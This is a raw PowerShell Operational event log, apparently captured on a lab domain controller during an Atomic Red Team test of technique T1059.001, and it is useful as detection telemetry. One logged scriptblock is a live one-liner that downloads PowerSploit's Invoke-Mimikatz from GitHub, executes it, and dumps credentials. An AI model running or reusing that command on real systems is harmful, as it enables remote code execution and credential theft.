$isElevated = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
}
}
$targetPlatform, $isElevated, $tmpDir, $targetHostname, $targetUser
}
ScriptBlock ID: 09cb335e-396f-45bc-bf57-1b3b9cd655fd
Path: C:\AtomicRedTeam\invoke-atomicredteam\Private\Get-TargetInfo.ps1
06/15/2021 05:01:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469346
Keywords=None
Message=Started invocation of ScriptBlock ID: 51690bde-47a7-4a7f-87f1-05acb76b284c
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:01:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1469345
Keywords=None
Message=Creating Scriptblock text (1 of 1):
Invoke-AtomicTest T1059.001
ScriptBlock ID: 51690bde-47a7-4a7f-87f1-05acb76b284c
Path:
06/15/2021 05:01:19 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469344
Keywords=None
Message=Completed invocation of ScriptBlock ID: a85bed97-9bbb-4097-beff-9d8cef80286e
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469770
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469769
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469768
Keywords=None
Message=Completed invocation of ScriptBlock ID: 32d46f36-be94-4f0d-abe1-0c2f6b2cdf81
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469767
Keywords=None
Message=Started invocation of ScriptBlock ID: 32d46f36-be94-4f0d-abe1-0c2f6b2cdf81
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1469766
Keywords=None
Message=Creating Scriptblock text (1 of 1):
function Write-ExecutionLog($startTime, $technique, $testNum, $testName, $logPath, $targetHostname, $targetUser, $guid) {
if (!(Test-Path $logPath)) {
New-Item $logPath -Force -ItemType File | Out-Null
}
$timeUTC = (Get-Date($startTime).toUniversalTime() -uformat "%Y-%m-%dT%H:%M:%SZ").ToString()
$timeLocal = (Get-Date($startTime) -uformat "%Y-%m-%dT%H:%M:%S").ToString()
[PSCustomObject][ordered]@{
"Execution Time (UTC)" = $timeUTC;
"Execution Time (Local)" = $timeLocal;
"Technique" = $technique;
"Test Number" = $testNum;
"Test Name" = $testName;
"Hostname" = $targetHostname;
"Username" = $targetUser
"GUID" = $guid
} | Export-Csv -Path $LogPath -NoTypeInformation -Append
}
ScriptBlock ID: 32d46f36-be94-4f0d-abe1-0c2f6b2cdf81
Path: C:\AtomicRedTeam\invoke-atomicredteam\Private\Write-ExecutionLog.ps1
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469765
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469764
Keywords=None
Message=Completed invocation of ScriptBlock ID: cb282395-b3b7-421c-b202-1a21ef87f29d
Runspace ID: f53a1cae-cafa-4873-ba65-31f6526efd74
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469763
Keywords=None
Message=Started invocation of ScriptBlock ID: cb282395-b3b7-421c-b202-1a21ef87f29d
Runspace ID: f53a1cae-cafa-4873-ba65-31f6526efd74
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1469762
Keywords=None
Message=Creating Scriptblock text (1 of 1):
$global:?
ScriptBlock ID: cb282395-b3b7-421c-b202-1a21ef87f29d
Path:
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469761
Keywords=None
Message=Completed invocation of ScriptBlock ID: 35dcc549-8a73-4462-bb66-e64903dfd45e
Runspace ID: f53a1cae-cafa-4873-ba65-31f6526efd74
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469760
Keywords=None
Message=Completed invocation of ScriptBlock ID: e8f78de0-4a62-4768-bfa0-d547a45537ef
Runspace ID: f53a1cae-cafa-4873-ba65-31f6526efd74
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469759
Keywords=None
Message=Completed invocation of ScriptBlock ID: a64006bf-e6e3-45b4-9251-357b02a9c28b
Runspace ID: f53a1cae-cafa-4873-ba65-31f6526efd74
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469758
Keywords=None
Message=Started invocation of ScriptBlock ID: a64006bf-e6e3-45b4-9251-357b02a9c28b
Runspace ID: f53a1cae-cafa-4873-ba65-31f6526efd74
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469757
Keywords=None
Message=Completed invocation of ScriptBlock ID: 158ce016-e06d-44dc-acd5-bebbf7a83bda
Runspace ID: f53a1cae-cafa-4873-ba65-31f6526efd74
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469756
Keywords=None
Message=Started invocation of ScriptBlock ID: 158ce016-e06d-44dc-acd5-bebbf7a83bda
Runspace ID: f53a1cae-cafa-4873-ba65-31f6526efd74
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469755
Keywords=None
Message=Completed invocation of ScriptBlock ID: da7d39b0-d385-4bff-a356-eb9c8b97a4b8
Runspace ID: f53a1cae-cafa-4873-ba65-31f6526efd74
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469754
Keywords=None
Message=Completed invocation of ScriptBlock ID: e03537f6-8c2a-4a6c-b471-1f53dc1dd100
Runspace ID: f53a1cae-cafa-4873-ba65-31f6526efd74
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469753
Keywords=None
Message=Completed invocation of ScriptBlock ID: 0b5c9e33-1038-41d1-82dc-7eef3fbb54a8
Runspace ID: f53a1cae-cafa-4873-ba65-31f6526efd74
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469752
Keywords=None
Message=Started invocation of ScriptBlock ID: 0b5c9e33-1038-41d1-82dc-7eef3fbb54a8
Runspace ID: f53a1cae-cafa-4873-ba65-31f6526efd74
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469751
Keywords=None
Message=Started invocation of ScriptBlock ID: e03537f6-8c2a-4a6c-b471-1f53dc1dd100
Runspace ID: f53a1cae-cafa-4873-ba65-31f6526efd74
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469750
Keywords=None
Message=Started invocation of ScriptBlock ID: da7d39b0-d385-4bff-a356-eb9c8b97a4b8
Runspace ID: f53a1cae-cafa-4873-ba65-31f6526efd74
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469749
Keywords=None
Message=Started invocation of ScriptBlock ID: e8f78de0-4a62-4768-bfa0-d547a45537ef
Runspace ID: f53a1cae-cafa-4873-ba65-31f6526efd74
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469748
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5424a9f7-d369-498b-991e-c0804bb922a7
Runspace ID: f53a1cae-cafa-4873-ba65-31f6526efd74
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469747
Keywords=None
Message=Started invocation of ScriptBlock ID: 5424a9f7-d369-498b-991e-c0804bb922a7
Runspace ID: f53a1cae-cafa-4873-ba65-31f6526efd74
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469746
Keywords=None
Message=Completed invocation of ScriptBlock ID: e8f78de0-4a62-4768-bfa0-d547a45537ef
Runspace ID: f53a1cae-cafa-4873-ba65-31f6526efd74
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469745
Keywords=None
Message=Completed invocation of ScriptBlock ID: a64006bf-e6e3-45b4-9251-357b02a9c28b
Runspace ID: f53a1cae-cafa-4873-ba65-31f6526efd74
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469744
Keywords=None
Message=Started invocation of ScriptBlock ID: a64006bf-e6e3-45b4-9251-357b02a9c28b
Runspace ID: f53a1cae-cafa-4873-ba65-31f6526efd74
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1469743
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $_.OriginInfo }
ScriptBlock ID: a64006bf-e6e3-45b4-9251-357b02a9c28b
Path:
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469742
Keywords=None
Message=Completed invocation of ScriptBlock ID: 158ce016-e06d-44dc-acd5-bebbf7a83bda
Runspace ID: f53a1cae-cafa-4873-ba65-31f6526efd74
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469741
Keywords=None
Message=Started invocation of ScriptBlock ID: 158ce016-e06d-44dc-acd5-bebbf7a83bda
Runspace ID: f53a1cae-cafa-4873-ba65-31f6526efd74
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1469740
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $_.ErrorCategory_Message }
ScriptBlock ID: 158ce016-e06d-44dc-acd5-bebbf7a83bda
Path:
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469739
Keywords=None
Message=Completed invocation of ScriptBlock ID: da7d39b0-d385-4bff-a356-eb9c8b97a4b8
Runspace ID: f53a1cae-cafa-4873-ba65-31f6526efd74
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469738
Keywords=None
Message=Completed invocation of ScriptBlock ID: e03537f6-8c2a-4a6c-b471-1f53dc1dd100
Runspace ID: f53a1cae-cafa-4873-ba65-31f6526efd74
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469737
Keywords=None
Message=Completed invocation of ScriptBlock ID: 0b5c9e33-1038-41d1-82dc-7eef3fbb54a8
Runspace ID: f53a1cae-cafa-4873-ba65-31f6526efd74
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469736
Keywords=None
Message=Started invocation of ScriptBlock ID: 0b5c9e33-1038-41d1-82dc-7eef3fbb54a8
Runspace ID: f53a1cae-cafa-4873-ba65-31f6526efd74
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1469735
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $this.Exception.InnerException.PSMessageDetails }
ScriptBlock ID: 0b5c9e33-1038-41d1-82dc-7eef3fbb54a8
Path:
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469734
Keywords=None
Message=Started invocation of ScriptBlock ID: e03537f6-8c2a-4a6c-b471-1f53dc1dd100
Runspace ID: f53a1cae-cafa-4873-ba65-31f6526efd74
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469733
Keywords=None
Message=Started invocation of ScriptBlock ID: da7d39b0-d385-4bff-a356-eb9c8b97a4b8
Runspace ID: f53a1cae-cafa-4873-ba65-31f6526efd74
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1469732
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{ Set-StrictMode -Version 1; $_.PSMessageDetails }
ScriptBlock ID: da7d39b0-d385-4bff-a356-eb9c8b97a4b8
Path:
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469731
Keywords=None
Message=Started invocation of ScriptBlock ID: e8f78de0-4a62-4768-bfa0-d547a45537ef
Runspace ID: f53a1cae-cafa-4873-ba65-31f6526efd74
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469730
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5424a9f7-d369-498b-991e-c0804bb922a7
Runspace ID: f53a1cae-cafa-4873-ba65-31f6526efd74
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469729
Keywords=None
Message=Started invocation of ScriptBlock ID: 5424a9f7-d369-498b-991e-c0804bb922a7
Runspace ID: f53a1cae-cafa-4873-ba65-31f6526efd74
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469728
Keywords=None
Message=Completed invocation of ScriptBlock ID: 45903e87-18fc-48ab-86bf-c3b134fe4431
Runspace ID: f53a1cae-cafa-4873-ba65-31f6526efd74
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469727
Keywords=None
Message=Started invocation of ScriptBlock ID: 45903e87-18fc-48ab-86bf-c3b134fe4431
Runspace ID: f53a1cae-cafa-4873-ba65-31f6526efd74
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1469726
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5b8c1a59-f6e5-484f-8c58-f8da68569fbd
Runspace ID: f53a1cae-cafa-4873-ba65-31f6526efd74
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469725
Keywords=None
Message=Started invocation of ScriptBlock ID: 5b8c1a59-f6e5-484f-8c58-f8da68569fbd
Runspace ID: f53a1cae-cafa-4873-ba65-31f6526efd74
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1469724
Keywords=None
Message=Started invocation of ScriptBlock ID: 35dcc549-8a73-4462-bb66-e64903dfd45e
Runspace ID: f53a1cae-cafa-4873-ba65-31f6526efd74
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1469723
Keywords=None
Message=Creating Scriptblock text (1 of 1):
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds
ScriptBlock ID: 35dcc549-8a73-4462-bb66-e64903dfd45e
Path:
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40962
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Stop
RecordNumber=1469722
Keywords=None
Message=PowerShell console is ready for user input
06/15/2021 05:01:20 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=53504
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
